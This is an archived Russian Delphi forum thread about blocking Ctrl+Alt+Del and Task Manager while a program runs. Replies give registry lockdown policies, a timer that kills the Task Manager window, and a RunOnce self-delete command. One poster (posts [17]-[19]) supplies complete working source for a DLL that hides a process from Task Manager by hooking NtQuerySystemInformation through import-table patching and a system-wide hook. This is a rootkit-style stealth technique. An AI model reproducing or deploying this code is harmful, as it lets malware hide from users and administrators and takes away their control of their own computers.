Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.06.29;
Скачать: CL | DM;

Вниз

Delete Ctrl+Alt+Del   Найти похожие ветки 

 
Volume ©   (2005-05-04 16:55) [0]

каким образом можно ПОЛНОСТЬЮ отключить сочетание Ctrl+Alt+Del на время работы программы? Пробовал программно отключить клаву - не помогло!


 
Anatoly Podgoretsky ©   (2005-05-04 17:11) [1]

И славо богу


 
Gero ©   (2005-05-04 17:16) [2]

Никак, да это и ни к чему.


 
RedStranger   (2005-05-04 17:17) [3]

А как ты пытался ее программно отключить?


 
alpet ©   (2005-05-04 18:04) [4]

Напиши драйвер, перехвати аппаратное прерывание IRQ1 и делай с клавой все что хочешь, если сможешь.


 
Volume ©   (2005-05-04 19:21) [5]

alpet ©   (04.05.05 18:04) [4]
А ты так сможешь?


 
alpet ©   (2005-05-04 20:23) [6]

Volume ©   (04.05.05 19:21) [5]
Я смогу, только не на Delphi, а на BP7.0 и не под Windows, а под DOS :)

Если серьезно - за такую задачу лучше браться с помощью DDK & MSVC++. Я драйверов под Win32 еще не писал.


 
Volume ©   (2005-05-04 21:51) [7]

А есть такие, кто сможет решить мою проблему?


 
Gero ©   (2005-05-04 22:47) [8]


> Volume ©   (04.05.05 21:51)

Я могу.
Пришли мне свою клавиатуру, я удалю из нее клавиши Ctrl, Alt и Del.
Потом отошлю тебе обратно.
Обойдется все это всего лишь в 1000$, не считая стоимости пересылки.


 
Alpine   (2005-05-04 23:35) [9]

В Win9х  делается так :
procedure TForm1.Button1Click(Sender: TObject);
var old:Boolean;
begin
old:=True;
//Запретить CTRL+ALT+DEL
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@old,0);
end;

procedure TForm1.Button2Click(Sender: TObject);
var old:Boolean;
begin
old:=True;
//Разрешить CTRL+ALT+DEL
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,@old,0);
end;

В win2k/xp надо в реестре!

HKEY_CURRENT_USER\
Software\Microsoft\Windows\CurrentVersion\Policies\System\
DisableTaskMgr
Подраздел System скорей всего нужно создать!
В созданном подразделе System cоздай "ПАРАМЕТР DWORD" DisableTaskMgr
со значением 1-выключает (0 включает)


 
Marser ©   (2005-05-05 00:08) [10]

Глобальный хук (WH_KEYBOARD или др.), отлавливающий данную комбинацию, может помочь.


 
Eraser ©   (2005-05-05 16:20) [11]

Во, нашёл!
(по моему Root key здесь HKEY_LOCAL_MACHINE)

[Запретить диспетчер задач (Alt+Ctrl+Delete)]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\System
Value=DisableTaskMgr

[Запретить редактор реестра]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\System
Value=DisableRegistryTools

[Скрыть иконку "Сетевое окружение"]
Key=\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu
Value={208D2C60-3AEA-1069-A2D7-08002B30309D}

[Скрыть иконку "Вся сеть"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Network
Value=NoEntireNetwork

[Скрыть рабочие группы]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Network
Value=NoWorkgroupContents

[Запретить настройку рабочего стола]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\System
Value=NoDispCPL

[Не сохранять настройки рабочего стола]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoSaveSettings

[Запретить команду "Выполнить"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoRun

[Запретить "Избранное"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoFavoritesMenu

[Запретить "Завершение работы"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoClose

[Запретить "Документы"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoRecentDocsMenu

[Запретить доступ к "Пуск"]
Key=\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Value=NoSetFolders


 
Gero ©   (2005-05-05 16:36) [12]


> [Запретить диспетчер задач (Alt+Ctrl+Delete)]

Диспетчер задач, но не Ctrl+Alt+Del.


 
Eraser ©   (2005-05-05 16:42) [13]

Gero ©

Это понятно! Эт я так к слову подкинул... может кому пригодится...

Volume ©

А вот блокировать Ctrl+Alt+Del не нужная и вредная задача.


 
Anatoly Podgoretsky ©   (2005-05-05 16:55) [14]

Eraser ©   (05.05.05 16:42) [13]
Не вредная, вредительская.


 
Volume ©   (2005-05-06 17:43) [15]

Alpine   (04.05.05 23:35) [9]

На xp всё работает в ручную проверял, а вот, чтобы программа создавала DWORD ключ и записывала туда значения на этапе FormCreate.

Исходил из этого:
uses
  Registry;

// Read REG_DWORD
procedure TForm1.Button1Click(Sender: TObject);
var
  Reg: TRegistry;
  RegKey: DWORD;
  Key: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_USERS;
    Key := ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\URL History";
    if Reg.OpenKeyReadOnly(Key) then
    begin
      if Reg.ValueExists("DaysToKeep") then
      begin
        RegKey := Reg.ReadInteger("DaysToKeep");
        Reg.CloseKey;
        ShowMessage(IntToStr(RegKey));
      end;
    end;
  finally
    Reg.Free
  end;
end;

// Write REG_DWORD
procedure TForm1.Button2Click(Sender: TObject);
var
  Reg: TRegistry;
  Key: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_USERS;
    Key := ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\URL History";
    if Reg.OpenKey(Key, True) then
    begin
      Reg.WriteInteger("DaysToKeep", 20);
      Reg.CloseKey;
    end;
  finally
    Reg.Free
  end;
end;

Кто может показать рабочую версию?


 
АНТИСпаммер   (2005-05-07 05:12) [16]

А можно вопрос : А нафига отключать ?
Пишем троян в 400 кб ? Не забудь про инсталлятор :)
На wasm.ru тебе дорога...

Мучайся на здоровье ..


 
АНТИСпаммер   (2005-05-07 05:17) [17]

library Hide;

uses
 Windows,
 TlHelp32;

type

 SYSTEM_INFORMATION_CLASS = (
   SystemBasicInformation,
   SystemProcessorInformation,
   SystemPerformanceInformation,
   SystemTimeOfDayInformation,
   SystemNotImplemented1,
   SystemProcessesAndThreadsInformation,
   SystemCallCounts,
   SystemConfigurationInformation,
   SystemProcessorTimes,
   SystemGlobalFlag,
   SystemNotImplemented2,
   SystemModuleInformation,
   SystemLockInformation,
   SystemNotImplemented3,
   SystemNotImplemented4,
   SystemNotImplemented5,
   SystemHandleInformation,
   SystemObjectInformation,
   SystemPagefileInformation,
   SystemInstructionEmulationCounts,
   SystemInvalidInfoClass1,
   SystemCacheInformation,
   SystemPoolTagInformation,
   SystemProcessorStatistics,
   SystemDpcInformation,
   SystemNotImplemented6,
   SystemLoadImage,
   SystemUnloadImage,
   SystemTimeAdjustment,
   SystemNotImplemented7,
   SystemNotImplemented8,
   SystemNotImplemented9,
   SystemCrashDumpInformation,
   SystemExceptionInformation,
   SystemCrashDumpStateInformation,
   SystemKernelDebuggerInformation,
   SystemContextSwitchInformation,
   SystemRegistryQuotaInformation,
   SystemLoadAndCallImage,
   SystemPrioritySeparation,
   SystemNotImplemented10,
   SystemNotImplemented11,
   SystemInvalidInfoClass2,
   SystemInvalidInfoClass3,
   SystemTimeZoneInformation,
   SystemLookasideInformation,
   SystemSetTimeSlipEvent,
   SystemCreateSession,
   SystemDeleteSession,
   SystemInvalidInfoClass4,
   SystemRangeStartInformation,
   SystemVerifierInformation,
   SystemAddVerifier,
   SystemSessionProcessesInformation
   );

 _IMAGE_IMPORT_DESCRIPTOR = packed record
   case Integer of 0: (
       Characteristics: DWORD);
     1: (
       OriginalFirstThunk: DWORD;
       TimeDateStamp: DWORD;
       ForwarderChain: DWORD;
       Name: DWORD;
       FirstThunk: DWORD);
 end;
 IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
 PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;

 PFARPROC = ^FARPROC;

const
 ImagehlpLib = "IMAGEHLP.DLL";

function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
 DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib
   name "ImageDirectoryEntryToData";

function AllocMem(Size: Cardinal): Pointer;
begin
 GetMem(Result, Size);
 FillChar(Result^, Size, 0);
end;


 
АНТИСпаммер   (2005-05-07 05:18) [18]

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc;
 pfnNew: FARPROC; hmodCaller: hModule);
var
 ulSize: ULONG;
 pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
 pszModName: PChar;
 pThunk: PDWORD;
 ppfn: PFARPROC;
 ffound: LongBool;
 written: DWORD;
begin
 pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,
   IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
 if pImportDesc = nil then
   exit;
 while pImportDesc.Name <> 0 do
 begin
   pszModName := PChar(hmodCaller + pImportDesc.Name);
   if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
     break;
   Inc(pImportDesc);
 end;
 if (pImportDesc.Name = 0) then
   exit;
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
 while pThunk^ <> 0 do
 begin
   ppfn := PFARPROC(pThunk);
   fFound := (ppfn^ = pfnCurrent);
   if (fFound) then
   begin
     VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE,
       written);
     WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
       Written);
     exit;
   end;
   Inc(pThunk);
 end;
end;

var
 addr_NtQuerySystemInformation: Pointer;
 mypid: DWORD;
 fname: PCHAR;
 mapaddr: PDWORD;
 hideOnlyTaskMan: PBOOL;

 { By Wasm.ru}

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
 SystemInformation: Pointer;
 SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall;
label
 onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass,SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi,SystemInformation
getnextpidstruct:
mov ebx,esi
cmp dword ptr [esi],0
je quit
add esi,[esi]
mov ecx,[esi+44h]
cmp ecx,mypid
jne getnextpidstruct
mov edx,[esi]
test edx,edx
je fillzero
add [ebx],edx
jmp onceagain
fillzero:
and [ebx],edx
jmp onceagain
quit:
mov Result,eax
end;

procedure InterceptFunctions;
var
 hSnapShot: THandle;
 me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle("ntdll.dll"),
   "NtQuerySystemInformation");
 hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
 if hSnapshot = INVALID_HANDLE_VALUE then
   exit;
 try
   ZeroMemory(@me32, sizeof(MODULEENTRY32));
   me32.dwSize := sizeof(MODULEENTRY32);
   Module32First(hSnapShot, me32);
   repeat
     ReplaceIATEntryInOneMod("ntdll.dll", addr_NtQuerySystemInformation,
       @MyNtQuerySystemInfo, me32.hModule);
   until not Module32Next(hSnapShot, me32);
 finally
   CloseHandle(hSnapShot);
 end;
end;


 
АНТИСпаммер   (2005-05-07 05:18) [19]

procedure UninterceptFunctions;
var
 hSnapShot: THandle;
 me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle("ntdll.dll"),
   "NtQuerySystemInformation");
 hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
 if hSnapshot = INVALID_HANDLE_VALUE then
   exit;
 try
   ZeroMemory(@me32, sizeof(MODULEENTRY32));
   me32.dwSize := sizeof(MODULEENTRY32);
   Module32First(hSnapShot, me32);
   repeat
     ReplaceIATEntryInOneMod("ntdll.dll", @MyNtQuerySystemInfo,
       addr_NtQuerySystemInformation, me32.hModule);
   until not Module32Next(hSnapShot, me32);
 finally
   CloseHandle(hSnapShot);
 end;
end;

var
 HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer): Integer;
 stdcall;
begin
 Result := 0;
end;

procedure InstallHook; stdcall;
begin
 HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var
 hFirstMapHandle: THandle;

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
var
 addrMap: PDWORD;
 ptr2: PBOOL;
begin
 mypid := 0;
 result := false;
 hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
   "NtHideFileMapping");
 if hFirstMapHandle = 0 then
   exit;
 addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
 if addrMap = nil then
 begin
   CloseHandle(hFirstMapHandle);
   exit;
 end;
 addrMap^ := pid;
 ptr2 := PBOOL(DWORD(addrMap) + 4);
 ptr2^ := HideOnlyFromTaskManager;
 UnmapViewOfFile(addrMap);
 InstallHook;
 result := true;
end;

exports
 HideProcess;

var
 hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
 if Reason = DLL_PROCESS_DETACH then
   if mypid > 0 then
     UninterceptFunctions()
   else
     CloseHandle(hFirstMapHandle);
end;

begin
 hmap := OpenFileMapping(FILE_MAP_READ, false, "NtHideFileMapping");
 if hmap = 0 then
   exit;
 try
   mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
   if mapaddr = nil then
     exit;
   mypid := mapaddr^;
   hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
   if hideOnlyTaskMan^ then
   begin
     fname := allocMem(MAX_PATH + 1);
     GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
     // if not (ExtractFileName(fname)="taskmgr.exe") then exit;
   end;
   InterceptFunctions;
 finally
   UnmapViewOfFile(mapaddr);
   CloseHandle(Hmap);
   DLLProc := @LibraryProc;
 end;
end.

Текст програмки, прячущей саму себя:

Код

program HideProj;

uses
 windows, messages;

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
 external "hide.dll";

function ProcessMessage(var Msg: TMsg): Boolean;
var
 Handled: Boolean;
begin
 Result := False;
 begin
   Result := True;
   if Msg.Message <> WM_QUIT then
   begin
     Handled := False;
     begin
       TranslateMessage(Msg);
       DispatchMessage(Msg);
     end;
   end
 end;
end;

procedure ProcessMessages;
var
 Msg: TMsg;
begin
 while ProcessMessage(Msg) do {loop}
   ;
end;

begin
 HideProcess(GetCurrentProcessId, false);
 while true do
 begin
   ProcessMessages;
 end;
end.


 
Просто Джо ©   (2005-05-07 07:07) [20]

Вот статья от Майкрософта. Неча велосипеды изобретать ;)

http://go.microsoft.com/fwlink/?LinkId=25699


 
Volume ©   (2005-05-07 13:34) [21]

Кто ни буть приведите пример кода каким образом можно создать путь в реестре по адресу: HKEY_CURRENT_USER\
Software\Microsoft\Windows\CurrentVersion\Policies\System\
и параметр DWORD с именем DisableTaskMgr и занчением 1.


 
Eraser ©   (2005-05-07 13:36) [22]

Volume ©

Через класс TRegistry из модуля registry.


 
Volume ©   (2005-05-07 15:16) [23]

Eraser ©   (07.05.05 13:36) [22]
Посмотри [15], можешь исходя из этого или не из этого написать код?


 
Rez@k   (2005-05-07 15:42) [24]

Blin, ne ta davno na www.delphi.hostmos.ru 4ital kak, a shas ego nakruli...


 
Eraser ©   (2005-05-07 16:26) [25]

Volume ©

Попробуй... но я бы применил стандартный способ администрирования, т.к. всякие обходные пути прикроют скорее рано, чем поздно.


 
Volume ©   (2005-05-07 17:07) [26]

Кто может написать код?


 
Eraser ©   (2005-05-07 17:31) [27]

Volume ©

За тебя прогу писать тут никто не стобирается.


 
alpet ©   (2005-05-07 18:21) [28]

Volume ©   (07.05.05 17:07) [26]
>Кто может написать код?

Да все могут, только за деньги.

Поищи в сети или в справке VCL: TRegistry
Там должен быть пример использования этого класса.


 
Vit@ly ©   (2005-05-07 19:18) [29]

Кажется, что ветка затянулась:)
Здесь примерный ответ
procedure TForm1.Button1Click(Sender: TObject);
var
 APath: array[0..255] of char;
begin
if GetShortPathName(PChar(ParamStr(0)),APath,SizeOf(APath) - 1) <> 0 then
 begin
   {Work with TRegistry}
   with TRegistry.Create do
   try
     {Set Root Key}
     RootKey := HKEY_LOCAL_MACHINE;
     {Open Key, creating key if it does not exist}
     if OpenKey("\Software\Microsoft\Windows\CurrentVersion\RunOnce",True)
     then begin
       WriteString("MyApp","command.com /c del " + APath);
       {Close the Key}
       CloseKey;
     end;
   finally
     {Free TRegistry}
     Free;
   end;
 end;
end;


 
Vit@ly ©   (2005-05-07 21:03) [30]

Прошу извинения, не туда запостил:(
Только что заметил (отлучался)
:(


 
Wolfram ©   (2005-05-07 23:18) [31]

Народ, если надо отключить Ctrl+Alt+Del на время работы программы, зачем тогда реестр марать? Проще окно диспетчера задач убивать.
procedure TForm1.Timer1Timer(Sender: TObject);
var
 h:THandle;
begin
h:=FindWindow(nil,"Windows Task Manager");
if h<>0 then SendMessage(h,WM_CLOSE,0,0);
end;

Этот способ имеет ряд недостатков, но зато простой как три рубля.


 
Alpine   (2005-05-08 00:26) [32]

2 Volume

Пользуйся на здоровье:

var
 Reg: TRegistry;
begin
 Reg := TRegistry.Create;
 try
   Reg.RootKey := HKEY_CURRENT_USER;
   if Reg.OpenKey("\Software\Microsoft\Windows\CurrentVersion\Policies\System\", True) then
  begin
     Reg.WriteInteger("DisableTaskMgr",1);
     Reg.CloseKey;
   end;
 finally
   Reg.Free;
   inherited;
 end;

end;


 
Volume ©   (2005-05-08 13:50) [33]

Всем БОЛЬШОЕ спасибо!

     Тему можно закрыть.


 
programmerts2   (2005-05-09 22:42) [34]

А зачем отключать эти кнопочки, у тебя вирус что-ли?



Страницы: 1 вся ветка

Текущий архив: 2005.06.29;
Скачать: CL | DM;

Наверх




Память: 0.57 MB
Время: 0.028 c
14-1117275248
Igorek
2005-05-28 14:14
2005.06.29
Длительное чтение с монитора


4-1115230473
pound
2005-05-04 22:14
2005.06.29
порты


8-1110281448
Vir_
2005-03-08 14:30
2005.06.29
Вывод текста в OpenGL


9-1111554916
Starter
2005-03-23 08:15
2005.06.29
Несколько видов


10-1095068388
jiuraoihiophk
2004-09-13 13:39
2005.06.29
Уничтожение OLE обьекта